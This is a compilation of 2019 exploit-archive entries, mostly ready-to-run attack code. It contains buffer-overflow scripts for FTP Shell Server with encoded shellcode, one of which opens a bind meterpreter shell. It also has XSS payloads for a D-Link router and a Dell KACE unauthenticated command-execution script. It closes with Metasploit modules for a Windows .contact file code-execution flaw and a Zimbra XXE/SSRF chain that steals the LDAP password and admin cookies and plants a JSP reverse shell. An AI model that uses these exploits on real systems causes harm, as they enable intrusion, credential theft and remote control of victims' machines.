Observed Result:
The manifest file is hijacked, an arbitrary DLL is loaded into a privileged process and a copy of notepad is started at LOCAL SERVICE.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46712.zip
            
# -*- coding: utf-8 -*-
#!/usr/bin/python

# Exploit Title: AdminExpress 1.2.5 - Denial of Service (PoC)
# Date: 2019-04-12
# Exploit Author: Mücahit İsmail Aktaş
# Software Link: https://admin-express.en.softonic.com/
# Version: 1.2.5.485
# Tested on: Windows XP Professional SP2

# Description:
#
# 1) Click the "System Compare" button
# 2) Paste the payload in the "Folder Path" (left)
# 3) Click the scales icon (in the middle, right side of "Folder Path")
#


buffer = "A" * 5000

print("Payload: \n\n" + buffer + "\n")
            
# Exploit Title: Multiple Stored and Reflected XSS vulnerabilities in D-Link DI-524
# Date: April 6, 2019
# Exploit Author: Semen Alexandrovich Lyhin (https://www.linkedin.com/in/semenlyhin/)
# Vendor Homepage: https://www.dlink.com
# Version: D-Link DI-524 - V2.06RU
# CVE : CVE-2019-11017 

To re-create Reflected XSS vulnerability, log in to the Web Configuration (default credentials are: "admin":"" without double quotes), and send GET request to the router with malformed vulnerable parameter:

http://$IP/cgi-bin/smap?RC=@smap%22-$PAYLOAD-%22&rd=x&SEO=o&AC=O&SnO=1&SHO=2&StO=1&SpO=1&SPO=1

Where $IP may be equal to "192.168.0.1", $PAYLOAD may be equal to "alert(document.location)".

Stored XSS's were found in web forms on pages /spap.htm, /smap.htm. To inject malicious JavaScript to victim's webpage, an attacker should authorize on the router, then put a payload to any of the vulnerable forms, and wait, until victim opens router's web interface and goes to vulnerable page.

I haven't tested all the admin panel of the router, so I can guess that there are other XSS vulnerabilities in this router.
            
#!/usr/bin/python
# Exploit Title: FTP Shell Server 6.83 'Account name to ban' Buffer Overflow
# Date: 09-04-2019
# Exploit Author: Dino Covotsos - Telspace Systems
# Vendor Homepage: http://www.ftpshell.com/index.htm
# Version: 6.83
# Software Link : http://www.ftpshell.com/downloadserver.htm
# Contact: services[@]telspace.co.za
# Twitter: @telspacesystems
# Tested on: Windows XP SP3 ENG x86
# CVE: TBC from Mitre
# Initial DOS discovery by: Victor Mondragón
# Created during 2019 intern training
# Greetz Amy, Delicia, Greg, Tonderai, Nzanoa & Telspace Systems Crew
# PoC:
# 1.) Generate ftpshell.txt, copy the contents to clipboard
# 2.) In the application, open 'Manage FTP Accounts' -> "Add Account Name"
# 3.) Paste the contents of ftpshell.txt in "Account name to ban"
# 4.) Click "OK" and calc pops
#JMP ESP - 0x775a693b : jmp esp | asciiprint,ascii {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.6435 (C:\WINDOWS\system32\ole32.dll)


#msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x1a\x7d" -f c
shellcode = ("\xdd\xc7\xb8\xa0\x9e\x31\x11\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x31\x31\x42\x18\x03\x42\x18\x83\xc2\xa4\x7c\xc4\xed\x4c\x02"
"\x27\x0e\x8c\x63\xa1\xeb\xbd\xa3\xd5\x78\xed\x13\x9d\x2d\x01"
"\xdf\xf3\xc5\x92\xad\xdb\xea\x13\x1b\x3a\xc4\xa4\x30\x7e\x47"
"\x26\x4b\x53\xa7\x17\x84\xa6\xa6\x50\xf9\x4b\xfa\x09\x75\xf9"
"\xeb\x3e\xc3\xc2\x80\x0c\xc5\x42\x74\xc4\xe4\x63\x2b\x5f\xbf"
"\xa3\xcd\x8c\xcb\xed\xd5\xd1\xf6\xa4\x6e\x21\x8c\x36\xa7\x78"
"\x6d\x94\x86\xb5\x9c\xe4\xcf\x71\x7f\x93\x39\x82\x02\xa4\xfd"
"\xf9\xd8\x21\xe6\x59\xaa\x92\xc2\x58\x7f\x44\x80\x56\x34\x02"
"\xce\x7a\xcb\xc7\x64\x86\x40\xe6\xaa\x0f\x12\xcd\x6e\x54\xc0"
"\x6c\x36\x30\xa7\x91\x28\x9b\x18\x34\x22\x31\x4c\x45\x69\x5f"
"\x93\xdb\x17\x2d\x93\xe3\x17\x01\xfc\xd2\x9c\xce\x7b\xeb\x76"
"\xab\x74\xa1\xdb\x9d\x1c\x6c\x8e\x9c\x40\x8f\x64\xe2\x7c\x0c"
"\x8d\x9a\x7a\x0c\xe4\x9f\xc7\x8a\x14\xed\x58\x7f\x1b\x42\x58"
"\xaa\x78\x05\xca\x36\x51\xa0\x6a\xdc\xad")

buffer = "A" * 416 + "\x3b\x69\x5a\x77" + "\x90" * 20 + shellcode + "C" * 80

payload = buffer
try:
    f=open("ftpshell.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
            
#!/usr/bin/python
# Exploit Title: FTP Shell Server 6.83 'Virtual Path Mapping' Buffer Overflow
# Date: 09-04-2019
# Exploit Author: Dino Covotsos - Telspace Systems
# Vendor Homepage: http://www.ftpshell.com/index.htm
# Version: 6.83
# Software Link : http://www.ftpshell.com/downloadserver.htm
# Contact: services[@]telspace.co.za
# Twitter: @telspacesystems
# Tested on: Windows XP SP3 ENG x86
# CVE: TBC from Mitre
# Created during 2019 Intern Training
# Greetz Amy, Delicia, Greg, Tonderai, Nzanoa & Telspace Systems Crew
# PoC:
# 1.) Generate ftpshell.txt, copy the contents to clipboard
# 2.) In the application, open 'Manage FTP Accounts' -> "Configure Accounts" -> "Add Path"
# 3.) Paste the contents of ftpshell.txt in "Virtual Path Mapping"
# 4.) Click "OK" and you'll have a bind meterpreter shell on port 443
#7E429353   FFE4             JMP ESP

#msfvenom -a x86 --platform windows -p windows/meterpreter/bind_tcp LPORT=443 -e x86/alpha_mixed -b "\x00\xd5\x0a\x0d\x1a\x03" -f c
shellcode = ("\xda\xc3\xd9\x74\x24\xf4\x59\x49\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58"
"\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
"\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x6b\x4c"
"\x4a\x48\x6e\x62\x33\x30\x43\x30\x73\x30\x43\x50\x4f\x79\x6a"
"\x45\x70\x31\x59\x50\x42\x44\x6e\x6b\x66\x30\x50\x30\x4c\x4b"
"\x53\x62\x44\x4c\x4c\x4b\x31\x42\x64\x54\x4c\x4b\x54\x32\x35"
"\x78\x34\x4f\x4d\x67\x43\x7a\x77\x56\x50\x31\x39\x6f\x6c\x6c"
"\x47\x4c\x30\x61\x31\x6c\x76\x62\x36\x4c\x61\x30\x79\x51\x7a"
"\x6f\x76\x6d\x77\x71\x59\x57\x4a\x42\x5a\x52\x32\x72\x76\x37"
"\x6c\x4b\x46\x32\x34\x50\x6e\x6b\x30\x4a\x45\x6c\x4c\x4b\x30"
"\x4c\x36\x71\x74\x38\x39\x73\x30\x48\x73\x31\x58\x51\x46\x31"
"\x4c\x4b\x53\x69\x37\x50\x56\x61\x6b\x63\x6e\x6b\x32\x69\x42"
"\x38\x68\x63\x65\x6a\x70\x49\x6e\x6b\x57\x44\x6e\x6b\x63\x31"
"\x7a\x76\x54\x71\x6b\x4f\x4e\x4c\x4f\x31\x58\x4f\x34\x4d\x76"
"\x61\x4f\x37\x45\x68\x4d\x30\x64\x35\x68\x76\x44\x43\x71\x6d"
"\x7a\x58\x45\x6b\x53\x4d\x67\x54\x44\x35\x6a\x44\x32\x78\x6c"
"\x4b\x50\x58\x37\x54\x63\x31\x6b\x63\x75\x36\x4e\x6b\x34\x4c"
"\x70\x4b\x4e\x6b\x62\x78\x45\x4c\x35\x51\x69\x43\x6c\x4b\x76"
"\x64\x6c\x4b\x66\x61\x68\x50\x4e\x69\x73\x74\x55\x74\x61\x34"
"\x51\x4b\x33\x6b\x61\x71\x76\x39\x30\x5a\x36\x31\x6b\x4f\x6b"
"\x50\x71\x4f\x51\x4f\x71\x4a\x4e\x6b\x65\x42\x38\x6b\x6c\x4d"
"\x31\x4d\x70\x68\x75\x63\x70\x32\x63\x30\x47\x70\x42\x48\x54"
"\x37\x53\x43\x76\x52\x71\x4f\x50\x54\x63\x58\x32\x6c\x34\x37"
"\x77\x56\x54\x47\x49\x6f\x4e\x35\x68\x38\x7a\x30\x47\x71\x43"
"\x30\x43\x30\x57\x59\x4a\x64\x46\x34\x56\x30\x35\x38\x74\x69"
"\x4d\x50\x50\x6b\x57\x70\x39\x6f\x68\x55\x51\x7a\x54\x4b\x32"
"\x79\x30\x50\x6d\x32\x4b\x4d\x72\x4a\x33\x31\x71\x7a\x43\x32"
"\x72\x48\x58\x6a\x44\x4f\x79\x4f\x79\x70\x79\x6f\x5a\x75\x6c"
"\x57\x55\x38\x73\x32\x67\x70\x63\x31\x4d\x6b\x6f\x79\x49\x76"
"\x62\x4a\x62\x30\x61\x46\x42\x77\x75\x38\x6a\x62\x39\x4b\x45"
"\x67\x35\x37\x79\x6f\x78\x55\x6e\x65\x39\x50\x62\x55\x71\x48"
"\x31\x47\x55\x38\x4e\x57\x79\x79\x65\x68\x79\x6f\x49\x6f\x78"
"\x55\x32\x77\x51\x78\x32\x54\x48\x6c\x75\x6b\x68\x61\x49\x6f"
"\x38\x55\x51\x47\x6f\x67\x45\x38\x53\x45\x62\x4e\x50\x4d\x55"
"\x31\x79\x6f\x39\x45\x72\x4a\x53\x30\x30\x6a\x33\x34\x52\x76"
"\x36\x37\x73\x58\x64\x42\x48\x59\x69\x58\x53\x6f\x49\x6f\x38"
"\x55\x4c\x43\x38\x78\x53\x30\x51\x6e\x76\x4d\x6e\x6b\x57\x46"
"\x72\x4a\x51\x50\x61\x78\x67\x70\x36\x70\x75\x50\x33\x30\x30"
"\x56\x31\x7a\x53\x30\x33\x58\x43\x68\x49\x34\x30\x53\x69\x75"
"\x59\x6f\x6a\x75\x4a\x33\x46\x33\x43\x5a\x43\x30\x70\x56\x63"
"\x63\x63\x67\x62\x48\x77\x72\x58\x59\x39\x58\x53\x6f\x4b\x4f"
"\x49\x45\x4d\x53\x7a\x58\x55\x50\x43\x4e\x66\x67\x56\x61\x4b"
"\x73\x46\x49\x69\x56\x74\x35\x6d\x39\x79\x53\x4d\x6b\x58\x70"
"\x4d\x65\x6e\x42\x32\x76\x71\x7a\x65\x50\x56\x33\x69\x6f\x48"
"\x55\x41\x41")

buffer = "A" * 395 + "\x53\x93\x42\x7e" + "\x90" * 20 + shellcode + "C" * 211

payload = buffer
try:
    f=open("ftpshell.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
            
#!/usr/bin/python
# Exploit Title: Dell KACE Systems Management Appliance (K1000) <= 6.4.120756 Unauthenticated RCE
# Version:       <= 6.4.120756
# Date:          2019-04-09
# Author:        Julien Ahrens (@MrTuxracer)
# Software Link: https://www.quest.com/products/kace-systems-management-appliance/
# Write-up:      https://www.rcesecurity.com/2019/04/dell-kace-k1000-remote-code-execution-the-story-of-bug-k1-18652/
# Note:          The software is maintained by Quest now, but the vulnerability was fixed while Quest was part of Dell.            
#
# Usage: python3 exploit.py https://localhost 'sleep 10'

import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

target_url = sys.argv[1]
payload = sys.argv[2]

r = requests.post(target_url + '/service/krashrpt.php', data={
    'kuid' : '`' + payload + '`'
    }, verify=False)

print('Response: %s %s\nKACE Version: %s\nResponse time: %ss' % (r.status_code, r.reason, r.headers['X-DellKACE-Version'], r.elapsed.total_seconds()))
            
This vulnerability allows low privileged users to hijack file that are owned by NT AUTHORITY\SYSTEM by overwriting permissions on the targeted file. Successful exploitation results in "Full Control" permissions for the low privileged user. 

1. The exploit first checks if the targeted file exists, if it does it will check its permissions. Since we are using Microsoft Edge for this exploit it will kill Microsoft Edge in order to get access to the settings.dat file. 
2. After Microsoft Edge is killed it will check for the "setting.dat" file and delete it in order to create a hardlink to the requested targeted file (in our case that was the HOSTS file) 
3. Once a hardlink is created Microsoft Edge is fired up again to trigger the vulnerability. Concluding with a final check if indeed "Full Control" permissions have been set for the current user.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46683.zip
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'fileutils'
require 'rex/zip'
class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Microsoft Windows Contact File Format Arbitary Code Execution',
      'Description' => %q{
        This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Windows.
        User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The flaw is due to the processing of ".contact" files <c:Url> node param which takes an expected website value, however if an attacker references an
        executable file it will run that instead without warning instead of performing expected web navigation. This is dangerous and would be unexpected to an end user.
        Executable files can live in a sub-directory so when the ".contact" website link is clicked it traverses directories towards the executable and runs.
        Making matters worse is if the the files are compressed then downloaded "mark of the web" (MOTW) may potentially not work as expected with certain archive utilitys.
        The ".\" chars allow directory traversal to occur in order to run the attackers supplied executable sitting unseen in the attackers directory.
        This advisory is a duplicate issue that currently affects Windows .VCF files, and released for the sake of completeness as it affects Windows .contact files as well.
      },
      'Author'      =>
        [ 'John Page (aka hyp3rlinx)', # Vuln discovery
          'Brenner Little' # MSF module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          ['EDB', '46188'],
          ['URL', 'http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-CONTACT-FILE-INSUFFECIENT-UI-WARNING-WEBSITE-LINK-ARBITRARY-CODE-EXECUTION.txt'],
          ['ZDI', '19-013']
        ],
      'DisclosureDate' => 'Jan 17 2019', # According to https://www.exploit-db.com/exploits/46188
      'Privileged'     => false,
      'Platform'       => 'win',
      'Payload'        => {
        'DisableNops' => true
      },
      'DefaultOptions' => {
        'DisablePayloadHandler' => true
      },
      'Targets'        => [['Windows', { }]],
      'DefaultTarget'  => 0
      ))
      register_options(
      [
        OptString.new('WEBSITE', [true, 'The URL that the user must click to launch the payload.', 'www.metasploit.com']),
        OptString.new('FILENAME', [true, 'The first and last name embdeed in the .CONTACT file (also used as the filename for the .CONTACT and .ZIP files)', 'John Smith']),
      ])
  end
  def exploit
    contact_full_name = "#{datastore['FILENAME']}"
    exe_filename = "#{datastore['WEBSITE']}"

    xml_header = %Q|<?xml version="1.0" encoding="UTF-8"?>
\t<c:contact c:Version="1" xmlns:c="http://schemas.microsoft.com/Contact" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:MSP2P="http://schemas.microsoft.com/Contact/Extended/MSP2P">
\t<c:CreationDate>2019-04-10T20:19:26Z</c:CreationDate><c:Extended xsi:nil="true"/>
\t|

    xml_body = %Q|
        <c:ContactIDCollection>
          <c:ContactID c:ElementID="492912d2-db87-4da2-9fb0-1a3533284d09"><c:Value>e3b2d76c-3355-4f54-b995-0ce0dcf84c8a</c:Value></c:ContactID>
        </c:ContactIDCollection>
        <c:NameCollection>
          <c:Name c:ElementID="9c47b169-4385-40e9-97cf-cc2f55544c8d">
            <c:FormattedName>CONTACT_FULL_NAME</c:FormattedName>
            <c:FamilyName>CONTACT_LAST_NAME</c:FamilyName>
            <c:GivenName>CONTACT_FIRST_NAME</c:GivenName>
          </c:Name>
        </c:NameCollection>
        <c:PhotoCollection>
          <c:Photo c:ElementID="9b2b24b3-2ce5-4553-abe1-8cb0cf7ad12e">
            <c:LabelCollection>
              <c:Label>UserTile</c:Label>
            </c:LabelCollection>
          </c:Photo>
        </c:PhotoCollection>
        <c:UrlCollection c:Version="1" c:ModificationDate="2019-04-10T21:15:00Z">
          <c:Url c:ElementID="4aca9a0f-72fd-45ff-8683-1524caafd6e9" c:Version="1" c:ModificationDate="2019-04-10T21:15:00Z">
            <c:Value c:Version="1" c:ModificationDate="2019-04-10T21:15:00Z">EXE_PATH</c:Value>
            <c:LabelCollection>
              <c:Label c:Version="1" c:ModificationDate="2019-04-10T21:15:00Z">Business</c:Label>
            </c:LabelCollection>
          </c:Url>
        </c:UrlCollection>
      </c:contact>|.gsub(/\n[ ]*/,'')

    xml = xml_header + xml_body
    xml.gsub!(/CONTACT_FULL_NAME/, contact_full_name);
    xml.gsub!(/CONTACT_LAST_NAME/, contact_full_name.split(' ')[-1]);
    xml.gsub!(/CONTACT_FIRST_NAME/, contact_full_name.split(' ')[0]);
    xml.gsub!(/EXE_PATH/, "http.\\" + exe_filename);

    exe = generate_payload_exe

    zip = Rex::Zip::Archive.new
    zip.add_file("/http/" + exe_filename, exe)
    zip.add_file(contact_full_name + ".contact", xml)
    zip.save_to(contact_full_name + ".zip")
    print_good("Created '#{contact_full_name}.zip'")
  end
end
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Zimbra Collaboration Autodiscover Servlet XXE and ProxyServlet SSRF',
      'Description'    => %q{
        This module exploits an XML external entity vulnerability and a
        server side request forgery to get unauthenticated code execution
        on Zimbra Collaboration Suite. The XML external entity vulnerability
        in the Autodiscover Servlet is used to read a Zimbra configuration
        file that contains an LDAP password for the 'zimbra' account. The
        zimbra credentials are then used to get a user authentication cookie
        with an AuthRequest message. Using the user cookie, a server side request
        forgery in the Proxy Servlet is used to proxy an AuthRequest with
        the 'zimbra' credentials to the admin port to retrieve an admin
        cookie. After gaining an admin cookie the Client Upload servlet is
        used to upload a JSP webshell that can be triggered from the web
        server to get command execution on the host. The issues reportedly
        affect Zimbra Collaboration Suite v8.5 to v8.7.11.

        This module was tested with Zimbra Release 8.7.1.GA.1670.UBUNTU16.64
        UBUNTU16_64 FOSS edition.
      },
      'Author'         =>
        [
          'An Trinh',         # Discovery
          'Khanh Viet Pham',  # Discovery
          'Jacob Robles'      # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2019-9670'],
          ['CVE', '2019-9621'],
          ['URL', 'https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html']
        ],
      'Platform'       => ['linux'],
      'Arch'           => ARCH_JAVA,
      'Targets'        =>
        [
          [ 'Automatic', { } ]
        ],
      'DefaultOptions' => {
        'RPORT' => 8443,
        'SSL' => true,
        'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
      },
      'Stance'         => Stance::Aggressive,
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2019-03-13' # Blog post date
    ))

    register_options [
      OptString.new('TARGETURI', [true, 'Zimbra application base path', '/']),
      OptInt.new('HTTPDELAY', [true, 'Number of seconds the web server will wait before termination', 10])
    ]
  end

  def xxe_req(data)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri, '/autodiscover'),
      'encode_params' => false,
      'data' => data
    })
    fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 503
    res
  end

  def soap_discover(check_soap=false)
    xml = REXML::Document.new

    xml.add_element('Autodiscover')
    xml.root.add_element('Request')

    req = xml.root.elements[1]

    req.add_element('EMailAddress')
    req.add_element('AcceptableResponseSchema')

    replace_text = 'REPLACE'
    req.elements['EMailAddress'].text = Faker::Internet.email
    req.elements['AcceptableResponseSchema'].text = replace_text

    doc = rand_text_alpha_lower(4..8)
    entity = rand_text_alpha_lower(4..8)
    local_file = '/etc/passwd'

    res = "<!DOCTYPE #{doc} [<!ELEMENT #{doc} ANY>"
    if check_soap
      local = "file://#{local_file}"
      res << "<!ENTITY #{entity} SYSTEM '#{local}'>]>"
      res << "#{xml.to_s.sub(replace_text, "&#{entity};")}"
    else
      local = "http://#{srvhost_addr}:#{srvport}#{@service_path}"
      res << "<!ENTITY % #{entity} SYSTEM '#{local}'>"
      res << "%#{entity};]>"
      res << "#{xml.to_s.sub(replace_text, "&#{@ent_data};")}"
    end
    res
  end

  def soap_auth(zimbra_user, zimbra_pass, admin=true)
    urn = admin ? 'urn:zimbraAdmin' : 'urn:zimbraAccount'
    xml = REXML::Document.new

    xml.add_element(
      'soap:Envelope',
      {'xmlns:soap'  => 'http://www.w3.org/2003/05/soap-envelope'}
    )

    xml.root.add_element('soap:Body')
    body = xml.root.elements[1]
    body.add_element(
      'AuthRequest',
      {'xmlns' => urn}
    )

    zimbra_acc = body.elements[1]
    zimbra_acc.add_element(
      'account',
      {'by' => 'adminName'}
    )
    zimbra_acc.add_element('password')

    zimbra_acc.elements['account'].text  = zimbra_user
    zimbra_acc.elements['password'].text = zimbra_pass

    xml.to_s
  end

  def cookie_req(data)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri, '/service/soap/'),
      'data' => data
    })
    fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 200
    res
  end

  def proxy_req(data, auth_cookie)
    target = "https://127.0.0.1:7071#{normalize_uri(target_uri, '/service/admin/soap/AuthRequest')}"
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri, '/service/proxy/'),
      'vars_get' => {'target' => target},
      'cookie' => "ZM_ADMIN_AUTH_TOKEN=#{auth_cookie}",
      'data' => data,
      'headers' => {'Host' => "#{datastore['RHOST']}:7071"}
    })
    fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 200
    res
  end

  def upload_file(file_name, contents, cookie)
    data = Rex::MIME::Message.new
    data.add_part(file_name, nil, nil, 'form-data; name="filename1"')
    data.add_part(contents, 'application/octet-stream', nil, "form-data; name=\"clientFile\"; filename=\"#{file_name}\"")
    data.add_part("#{rand_text_numeric(2..5)}", nil, nil, 'form-data; name="requestId"')
    post_data = data.to_s

    send_request_cgi({
      'method'          => 'POST',
      'uri'             => normalize_uri(target_uri, '/service/extension/clientUploader/upload'),
      'ctype'           => "multipart/form-data; boundary=#{data.bound}",
      'data'            => post_data,
      'cookie'          => cookie
    })
  end

  def check
    begin
      res = xxe_req(soap_discover(true))
    rescue Msf::Exploit::Failed
      return CheckCode::Unknown
    end

    if res.body.include?('zimbra')
      return CheckCode::Vulnerable
    end

    CheckCode::Unknown
  end

  def on_request_uri(cli, req)
    ent_file = rand_text_alpha_lower(4..8)
    ent_eval = rand_text_alpha_lower(4..8)

    dtd =  <<~HERE
    <!ENTITY % #{ent_file} SYSTEM "file:///opt/zimbra/conf/localconfig.xml">
    <!ENTITY % #{ent_eval} "<!ENTITY #{@ent_data} '<![CDATA[%#{ent_file};]]>'>">
    %#{ent_eval};
    HERE
    send_response(cli, dtd)
  end

  def primer
    datastore['SSL'] = @ssl
    res = xxe_req(soap_discover)
    fail_with(Failure::UnexpectedReply, 'Password not found') unless res.body =~ /ldap_password.*?value>(.*?)<\/value/m
    password = $1
    username = 'zimbra'

    print_good("Password found: #{password}")

    data = soap_auth(username, password, false)
    res = cookie_req(data)

    fail_with(Failure::NoAccess, 'Failed to authenticate') unless res.get_cookies =~ /ZM_AUTH_TOKEN=([^;]+;)/
    auth_cookie = $1

    print_good("User cookie retrieved: ZM_AUTH_TOKEN=#{auth_cookie}")

    data = soap_auth(username, password)
    res = proxy_req(data, auth_cookie)

    fail_with(Failure::NoAccess, 'Failed to authenticate') unless res.get_cookies =~ /(ZM_ADMIN_AUTH_TOKEN=[^;]+;)/
    admin_cookie = $1

    print_good("Admin cookie retrieved: #{admin_cookie}")

    stager_name = "#{rand_text_alpha(8..16)}.jsp"
    print_status('Uploading jsp shell')
    res = upload_file(stager_name, payload.encoded, admin_cookie)

    fail_with(Failure::Unknown, "#{peer} - Unable to upload stager") unless res && res.code == 200
    # Only shell sessions are supported
    register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name}' -type f)")
    register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*1StreamConnector.class' -type f)")
    register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*class' -type f)")
    register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*java' -type f)")

    print_status("Executing payload on /downloads/#{stager_name}")
    res = send_request_cgi({
      'uri'             => normalize_uri(target_uri, "/downloads/#{stager_name}"),
      'cookie'          => admin_cookie
    })
  end

  def exploit
    @ent_data = rand_text_alpha_lower(4..8)
    @ssl = datastore['SSL']
    datastore['SSL'] = false
    Timeout.timeout(datastore['HTTPDELAY']) { super }
  rescue Timeout::Error
  end
end